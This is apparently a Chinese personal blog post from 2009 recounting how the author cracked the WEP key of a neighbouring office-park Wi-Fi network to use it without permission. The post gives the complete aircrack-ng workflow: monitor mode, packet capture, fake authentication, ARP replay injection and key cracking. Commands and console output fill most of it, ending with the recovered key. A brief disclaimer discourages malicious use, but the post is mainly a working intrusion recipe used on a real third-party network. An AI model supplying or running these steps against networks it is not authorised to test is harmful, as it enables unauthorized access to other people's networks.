赞
踩
公司木有无线网络, 所以自从入手E63开始就觊觎园区的无线了. 网上找了找linux下比较流行的工具是aircrack-ng ,很好很强大.
看了扶凯桑给的一个实例, 不过和俺用的攻击方式不一. 官网上资料充足, 下面memo一下过程,仅供参考, 不推荐恶意实践.
使用的机器是改装EEEPC, UBUNTU8.10, 前提是安装aircrack-ng(apt-get简单入手).
1 设置网卡为监听模式
gladstone@gladstone-eeepc:~$ sudo airmon-ng start wlan0
2 寻找目标AP(Access Point)
gladstone@gladstone-eeepc:~$ sudo airodump-ng mon0
会出现一个列表,列出可用的无线网络, 这里找到目标路由器的bssid为00:B0:0C:02:A7:DE, 而ifconfig得到本机的mac地址是00:15:af:a6:c8:d7
3 开始收集信息
gladstone@gladstone-eeepc:~$ sudo airodump-ng -c 1 --bssid 00:B0:0C:02:A7:DE -w out-ag mon0
需要注意的是参数
–c 是目标AP所在的频道, 这里是1
--bssid 输入目标AP的mac地址
-w 是写入到文件的前缀定义,这里设定为out-ag 的话,真正的输出文件会是out-ag-01.cap
控制台输出:
CH 1 ][ Elapsed: 4 mins ][ 2009-06-03 09:55 ][ fixed channel mon0: 7
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:B0:0C:02:A7:DE 155 12 1033 19059 19 1 54 WEP WEP OPN wanrongtouzi
BSSID STATION PWR Rate Lost Packets Probes
00:B0:0C:02:A7:DE 00:B0:C6:00:46:1F 163 18- 2 0 24 wanrongtouzi 00:B0:0C:02:A7:DE 00:15:AF:A6:C8:D7 0 0- 0 157795 88998
注意这个终端不要关掉,在整个破解过程中都要开着以收集信息.
4 开始进行攻击
攻击使用的是aireplay-ng 工具,这个工具通过参数可以设定攻击方法(具体见aireplay-ng --help), 扶凯桑用的是chopchop, 这里用arp
gladstone@gladstone-eeepc:~$ sudo aireplay-ng -3 -a 00:B0:0C:02:A7:DE -b 00:B0:0C:02:A7:DE -h 00:15:af:a6:c8:d7 mon0
这里一开始遇到问题, 控制台收到如下信息
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
这个问题在官网wiki上有详细描述: http://www.aircrack-ng.org/doku.php?id=i_am_injecting_but_the_ivs_don_t_increase
解决办法就是在执行上述命令之前先进行认证:
gladstone@gladstone-eeepc:~$ sudo aireplay-ng -1 0 -a 00:B0:0C:02:A7:DE -e wanrongtouzi -h 00:15:af:a6:c8:d7 mon0
09:51:26 Waiting for beacon frame (BSSID: 00:B0:0C:02:A7:DE) on channel 1
09:51:28 Sending Authentication Request (Open System)
09:51:28 Authentication successful
09:51:28 Sending Association Request
09:51:33 Sending Authentication Request (Open System)
09:51:33 Authentication successful
09:51:33 Sending Association Request
09:51:33 Association successful :-) (AID: 1)
然后再重新开始攻击:
gladstone@gladstone-eeepc:~$ sudo aireplay-ng -3 -a 00:B0:0C:02:A7:DE -b 00:B0:0C:02:A7:DE -h 00:15:af:a6:c8:d7 mon0
09:52:00 Waiting for beacon frame (BSSID: 00:B0:0C:02:A7:DE) on channel 1
Saving ARP requests in replay_arp-0603-095200.cap
You should also start airodump-ng to capture replies.
^Cad 108414 packets (got 56293 ARP requests and 44578 ACKs), sent 50832 packets...(499 pps)
执行完这步就开始静候,发现包的数量快速上升, 在另外一个控制台(airodump-ng)里可以观测到注入的跑的数量上升, #/s指标达到30左右(这个没有定量,官方的说法是可以达到几百, 在家里试的时候最高到了80, 可能和机器速度有关)
5 根据收集的信息破解密码
大约过2分钟就可以试着使用aircrack-ng 进行破解了,上面说到收集到的包都存在out-ag-01.cap 文件里面
gladstone@gladstone-eeepc:~$ sudo aircrack-ng out-ag-01.cap
Opening out-ag-01.cap
Read 94019 packets.
# BSSID ESSID Encryption
1 00:B0:0C:02:A7:DE wanrongtouzi WEP (17803 IVs)
Choosing first network as target.
Opening out-ag-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 17887 ivs.
Aircrack-ng 1.0 rc1
Aircrack-ng 1.0 rc1
Aircrack-ng 1.0 rc1
[00:00:01] TesteAircrack-ng 1.0 rc117823 IVs)
[00:00:03] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote) [00:00:04] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:06] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:07] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:09] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:11] TesteAircrack-ng 1.0 rc117823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:12] TesteAircrack-ng 1.0 rc1 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:14] TesteAircrack-ng 1.0 rc1 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:14] TesteAircrack-ng 1.0 rc1 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:15] TesteAircrack-ng 1.0 rc1 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:16] Tested 1347841 keys (got 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:17] Tested 1425601 keys (got 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784)[00:00:17] Tested 3002 keys (got 17823 IVs)
KB depth byte(vote)D7(23040) 24(22784) AA(22784) CB(22784) 4E(22528) 39(22272) 50(22272) 75(21504) 81(21504)
KB depth byte(vote)D7(23040) 24(22784) AA(22784) CB(22784) 4E(22528) 39(22272) 50(22272) 75(21504) 81(21504)
0 4/ 8 AA(23296) 39(23040) 4E(23040) CE(22784) 0F(22272) 50(22272) 25(22016) 75(22016) 81(22016) E4(22016)
1 0/ 5 BB(25088) 78(24064) 5D(23808) 8D(23808) 3A(23296) BD(23040) 68(22784) 8C(22784) 3F(22528) A5(22528)
2 6/ 8 A1(23296) 31(23040) 4F(23040) C8(23040) D5(23040) DC(22784) 2D(22528) 78(22528) 3D(22272) 5B(22272)
3 0/ 10 DD(23808) 12(23296) A8(23040) C0(23040) 1F(22528) 25(22528) DB(22272) F3(22272) 00(22272) 56(22272)
4 0/ 1 FF(31488) E5(24320) 29(23552) 3C(23552) 40(23552) 49(23296) F8(23296) 47(23040) 60(23040) C1(23040)
KEY FOUND! [ AA:BB:CC:DD:FF ]
Decrypted correctly: 100%
顺利得到密码, 还真是设置的够简单= _ =.
上面提到的只是简单的WEP的破解, 根据密码设置的复杂程度所用时间不一, WPA貌似很难破解, 下次再试试
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。